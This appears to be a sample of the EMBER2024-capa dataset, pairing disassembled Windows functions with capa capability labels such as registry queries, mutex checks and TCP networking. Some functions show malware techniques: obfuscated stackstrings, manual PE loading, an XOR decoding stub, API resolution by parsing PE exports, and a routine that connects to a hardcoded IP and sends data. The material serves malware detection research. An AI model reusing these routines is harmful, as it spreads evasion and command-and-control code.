joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412310
Capabilities:
Get disk information

Disassembly:
sub esp, 0x114
mov eax, dword [0x428d68]
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
cmp eax, ebp
push edi
mov dword [esp + 0x10], 1
jne 0x412343
call fcn.00412550
test eax, eax
jne 0x412343
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
mov edi, dword [esp + 0x128]
cmp edi, ebp
je 0x412402
cmp byte [edi], 0
je 0x412402
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
cmp esi, 0x104
jbe 0x412379
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret
lea eax, [esp + 0x1c]
xor edx, edx
sub edi, eax
mov bl, 0x5c
lea eax, [esp + edx + 0x1c]
mov cl, byte [edi + eax]
cmp cl, 0x2f
jne 0x412393
mov byte [eax], bl
jmp 0x412395
mov byte [eax], cl
inc edx
cmp edx, esi
jbe 0x412383
mov al, byte [esp + 0x1c]
cmp al, bl
mov al, byte [esp + 0x1d]
jne 0x4123e7
cmp al, bl
jne 0x4123e7
mov eax, 2
xor ecx, ecx
cmp esi, eax
jbe 0x412402
cmp byte [esp + eax + 0x1c], bl
jne 0x4123c1
inc ecx
cmp ecx, 2
je 0x4123dd
inc eax
cmp eax, esi
jb 0x4123b5
cmp ecx, 1
jne 0x412402
cmp byte [esp + esi + 0x1c], bl
je 0x412402
mov byte [esp + esi + 0x1c], bl
mov byte [esp + esi + 0x1d], 0
inc esi
jmp 0x412402
inc eax
mov esi, eax
mov byte [esp + eax + 0x1c], 0
jmp 0x412402
cmp al, 0x3a
jne 0x4123fb
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0
mov esi, 3
jmp 0x412402
mov byte [esp + 0x1c], 0
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x429220
call edi
mov eax, dword [0x429100]
mov ebx, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp eax, ebp
je 0x412436
lea ecx, [esp + 0x1c]
push ecx
push 0x429118
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4124fc
push 0x429220
mov dword [esp + 0x1c], ebp
call ebx
mov al, byte [esp + 0x1c]
push 0
lea edx, [esp + 0x18]
push 0
neg al
push edx
push 0
sbb eax, eax
lea ecx, [esp + 0x2c]
push 0
push 0
and eax, ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x4124b8
test byte [esp + 0x14], 8
je 0x4124b8
mov edx, dword [esp + 0x130]
mov eax, dword [edx + 4]
test eax, eax
je 0x4124b8
mov al, byte [esp + 0x1c]
lea ecx, [esp + 0x1c]
neg al
sbb eax, eax
and eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 4
jne 0x4124b8
mov eax, dword [esp + 0x12c]
lea edx, [esp + 0x18]
push edx
push eax
mov ebp, 1
call fcn.004125f0
add esp, 8
push 0x429220
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x412523
inc esi
lea ecx, [esp + 0x1c]
push esi
push ecx
push 0x429118
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov dword [0x429108], edx
mov dword [0x42910c], ebp
mov dword [0x429110], eax
mov dword [0x429100], 1
mov edi, dword [esp + 0x130]
mov esi, 0x429100
mov ecx, dword [edi + 4]
mov dword [0x429104], ecx
mov edx, dword [edi + 0x14]
mov ecx, 0x48
mov dword [0x429114], edx
rep movsd dword es:[edi], dword [esi]
jmp 0x41252d
mov dword [0x429100], 0
push 0x429220
call ebx
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
Function at 0x412550
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword [0x428d68]
push ebx
push esi
push edi
test eax, eax
jne 0x4125e1
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
test ebx, ebx
jne 0x412576
pop edi
pop esi
pop ebx
ret
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push 0x428d6c
call edi
mov esi, eax
test esi, esi
je 0x4125b2
push esi
push 0x428d6c
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x428d68]
pop edi
pop esi
pop ebx
ret
push 0x429220
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x48
xor eax, eax
mov edi, 0x429100
rep stosd dword es:[edi], eax
call fcn.00412830
push ebx
mov dword [0x428d68], 1
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x41c073
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41c09e
test byte [esp + 8], 0x80
je 0x41c08d
and al, 0xfe
jmp 0x41c08f
or al, 1
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x41c0af
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00419c07
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x258071b7
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x2581bbcc
call fcn.2581aa61
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov ecx, dword [0x2582448c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x25823cb8]
cmp eax, dword [ecx + 4]
jg 0x25807284
cmp byte [0x25823cb4], 0
je 0x2580727e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
call fcn.25802400
push 1
lea esi, [eax + 6]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x2580727e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push esi
push edi
call fcn.25802400
add esp, 0x14
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
push str._nEFS:TMS:
call fcn.2580cc41
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.2580cbab
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 0x10
jb 0x2580727e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.25802400
pop ecx
pop ecx
call fcn.2581aa50
ret
mov edi, 0x25823cb8
push edi
call fcn.25802400
cmp dword [0x25823cb8], 0xffffffff
pop ecx
jne 0x258071e5
mov eax, dword [0x25823de8]
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2581d220]
call esi
test al, al
je 0x258072e2
mov eax, dword [0x258240c4]
push ebx
push str.enableTMSLogging
push 0x2581db70
mov esi, dword [eax + 0x5a8]
mov ecx, esi
call dword [0x2581d220]
call esi
add esp, 0xc
test ax, ax
mov al, 1
jne 0x258072e6
jmp 0x258072e2
mov al, bl
jmp 0x258072e6
or dword [ebp - 4], 0xffffffff
push edi
mov byte [0x25823cb4], al
call fcn.25802400
pop ecx
jmp 0x258071e5
Function at 0x401070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
mov al, 0x45
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov al, 0x6c
push str.HeapFree
push str.kernel32.dll
mov byte [esp + 0x14], 0x4b
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x19], 0x4c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
mov al, 0x65
mov cl, 0x73
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x27], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
push eax
push ecx
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x50
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2e], 0x48
mov byte [esp + 0x30], 0x61
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x30]
push edx
push 0
call eax
push eax
call ebp
pop edi
pop esi
pop ebp
add esp, 0x20
ret

Function at 0x4013d0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405ec0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov edx, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push edi
mov dword [ebp - 0x24], ecx
mov si, word [eax + 0x14]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], 0
lea esi, [esi + eax + 0x18]
mov dword [ebp - 0x18], esi
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 6]
mov eax, dword [ebp - 0x14]
cmp eax, edx
jge 0x4014e5
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x401465
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x4014cd
mov edx, dword [esi + 0xc]
push 4
push 0x1000
add edx, ecx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4014cd
push 4
push 0x1000
push eax
mov eax, dword [esi + 0xc]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x20]
push 0x406598
push ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0x55
call fcn.00401eb6
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov eax, dword [ebp + 8]
mov edx, ecx
add esi, eax
mov eax, 0x4014bd
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
ret
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x10]
inc ecx
add esi, 0x28
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x18], esi
jmp 0x401410
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401970
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x407058], eax
jne 0x40198f
xor eax, eax
add esp, 0x10
ret
push ebx
mov ebx, dword [esp + 0x18]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_gethostbyname]
push esi
push edi
mov edi, dword [esp + 0x28]
push ebx
call ebp
push edi
mov esi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [esi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [0x407058]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4019ea
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4019a1
mov edx, dword [0x40705c]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
push 0
push 0
push 0x401890
push 0
push 0
mov dword [0x409728], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret

Function at 0x401a20
Capabilities:
Get system information on windows
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x1c0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0x20], 2
jb 0x401a99
mov ecx, dword [str.DarkShare]
mov edx, dword [0x407258]
mov ax, word [0x40725c]
mov dword [esp], ecx
lea ecx, [esp + 0x30]
mov dword [esp + 4], edx
push ecx
push 0x202
mov word [esp + 0x10], ax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, dword [0x4070c4]
push edx
push str.110.42.64.15
call fcn.00401970
mov ecx, dword [0x407058]
add esp, 8
lea eax, [esp]
push 0
push 0xa
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add esp, 0x1c0
ret

Function at 0x1e6d798
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1e6d7a2
pushal
call 0x1e6d7a8
pop ebp
sub ebp, 0x10
sub ebp, 0x145d798
jmp 0x1e6d7be
mov eax, 0x145d798
add eax, ebp
add eax, 0x4c
mov ecx, 0x611
mov edx, 0x3c15fcba
xor byte [eax], dl
inc eax
dec ecx
jne 0x1e6d7d5
jmp 0x1e6d7e8
xor dword [edi + 0x31], esi
xor eax, dword [esi + 0x3bbababa]
jnp 0x1e6d835
mov edx, 0x77b9baba
add dh, byte [esi + 0xbababa]
xchg edx, eax
mov edx, 0x584dbaba
mov ecx, 0xb63b3172
mov edx, 0x7fb9baba
ljmp 0xbe33
inc esi
xor edx, dword [esi - 0x6129c862]
mov edx, 0xbab23f31
mov edx, 0xb62f31ba
mov edx, 0x3731baba
stosb byte es:[edi], al
mov edx, 0x537bbaba
mov eax, 0x7839b88b
mov esi, 0x4e3fb5f3
inc ebp
inc ebp
inc ebp
xor dword [esi - 0x6121c862], edx
mov esi, 0x31bab678
sahf
mov esi, 0xd2bababa
push es
push ss
mov ah, 0xba
shl byte [esi - 0x70], cl
lea edi, [ebx - 0x14616945]
push edx
mov edi, 0x53bababa
in eax, dx
mov eax, 0xde37baba
sahf
inc esi
xor edx, dword [esi + 0x4556319e]
iretd
Function at 0x2e013ece
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e03021f
call fcn.2e00153c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014c10
test ax, ax
je 0x2e013f76
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e013f76
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f6d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e01963f
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f60
push esi
mov ecx, edi
call fcn.2e010c49
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e01963f
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e001586
ret

Function at 0x2e0149fe
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030292
call fcn.2e02e16c
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014b02
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e0148ed
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010b76
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014ac0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014ab7
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e01963f
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014aa9
push esi
mov ecx, edi
call fcn.2e010c49
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e01963f
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014b02
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014af9
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e01963f
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e01963f
pop ecx
pop ecx
mov al, bl
call fcn.2e02e14a
ret 8
Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e01963f
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e01963f
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8
Function at 0x2e01e341
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030586
call fcn.2e02e16c
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e45f
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e456
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e01963f
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e449
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010c49
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e01963f
test al, al
jne 0x2e01e3fc
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e01963f
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e3ff
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e439
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e430
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e01963f
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e01963f
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e01963f
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e14a
ret
Function at 0x10007fc0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d2e5
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x10050008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp byte [0x10052288], 0
jne 0x100081ed
push 0x2b
push 0xc
push str.jH_O_Y
lea ecx, [ebp - 0x1c]
call fcn.10007940
mov edi, eax
push 0x72664ef
push 0x35
push 0x125d
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call fcn.10007c60
mov esi, eax
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.10007a30
push eax
mov ecx, esi
call fcn.10007a30
mov ecx, eax
call fcn.10008bf0
call eax
lea ecx, [ebp - 0x10]
call fcn.10007cc0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.100079d0
push 0x2b
push 0xa
push 0x1004b8f4
lea ecx, [ebp - 0x1c]
call fcn.10007940
mov edi, eax
push 0x72664ef
push 0x35
push 0x125d
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 2
call fcn.10007c60
mov esi, eax
mov ecx, edi
mov byte [ebp - 4], 3
call fcn.10007a30
push eax
mov ecx, esi
call fcn.10007a30
mov ecx, eax
call fcn.10008bf0
call eax
lea ecx, [ebp - 0x10]
call fcn.10007cc0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.100079d0
push 0x2b
push 0xb
push str.xDHBC
lea ecx, [ebp - 0x1c]
call fcn.10007940
mov edi, eax
push 0x72664ef
push 0x35
push 0x125d
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 4
call fcn.10007c60
mov esi, eax
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.10007a30
push eax
mov ecx, esi
call fcn.10007a30
mov ecx, eax
call fcn.10008bf0
call eax
lea ecx, [ebp - 0x10]
call fcn.10007cc0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.100079d0
push 0x2b
push 0xb
push str.xDAYN_X
lea ecx, [ebp - 0x1c]
call fcn.10007940
mov edi, eax
push 0x72664ef
push 0x35
push 0x125d
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 6
call fcn.10007c60
mov esi, eax
mov ecx, edi
mov byte [ebp - 4], 7
call fcn.10007a30
push eax
mov ecx, esi
call fcn.10007a30
mov ecx, eax
call fcn.10008bf0
call eax
lea ecx, [ebp - 0x10]
call fcn.10007cc0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.100079d0
push 0x2b
push 0xa
push 0x1004b918
lea ecx, [ebp - 0x24]
call fcn.10007940
mov edi, eax
push 0x72664ef
push 0x35
push 0x125d
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 8
call fcn.10007c60
mov esi, eax
mov ecx, edi
mov byte [ebp - 4], 9
call fcn.10007a30
push eax
mov ecx, esi
call fcn.10007a30
mov ecx, eax
call fcn.10008bf0
call eax
lea ecx, [ebp - 0x14]
call fcn.10007cc0
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.100079d0
mov byte [0x10052288], 1
mov ecx, ebx
call fcn.10008bf0
test eax, eax
jne 0x100081ff
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008bf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d49d
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10050008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
push 0x1273
push 0x76
push 0x12a3
lea ecx, [ebp - 0x18]
call fcn.10007c60
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.10007a30
lea ecx, [ebp - 0x18]
mov esi, dword fs:[eax]
mov dword [ebp - 4], 0xffffffff
call fcn.10007cc0
mov eax, dword [esi + 0xc]
mov ebx, dword [eax + 0xc]
mov esi, dword [ebx + 0x18]
mov dword [ebp - 0x10], esi
test esi, esi
je 0x10008ceb
mov eax, dword [esi + 0x3c]
mov edx, dword [ebx + 0x2c]
mov ecx, dword [ebx + 0x30]
mov ebx, dword [ebx]
mov edi, dword [eax + esi + 0x78]
mov dword [ebp - 0x14], ebx
test edi, edi
je 0x10008cdd
mov eax, ecx
shrd edx, eax, 0x10
push 1
movzx edx, dx
call fcn.10008ae0
mov ebx, dword [edi + esi + 0x20]
lea ecx, [edi + esi]
mov dword [ebp - 0x1c], eax
add esp, 4
mov eax, dword [ecx + 0x18]
add ebx, esi
xor edi, edi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10008cda
mov esi, dword [ebx]
lea ebx, [ebx + 4]
add esi, dword [ebp - 0x10]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10008cb4
sub eax, edx
mov ecx, esi
push 0
lea edx, [eax + 1]
call fcn.10008ae0
add eax, dword [ebp - 0x1c]
add esp, 4
cmp eax, dword [ebp - 0x20]
je 0x10008cff
inc edi
cmp edi, dword [ebp - 0x24]
jb 0x10008ca7
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebx + 0x18]
mov dword [ebp - 0x10], esi
test esi, esi
jne 0x10008c63
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret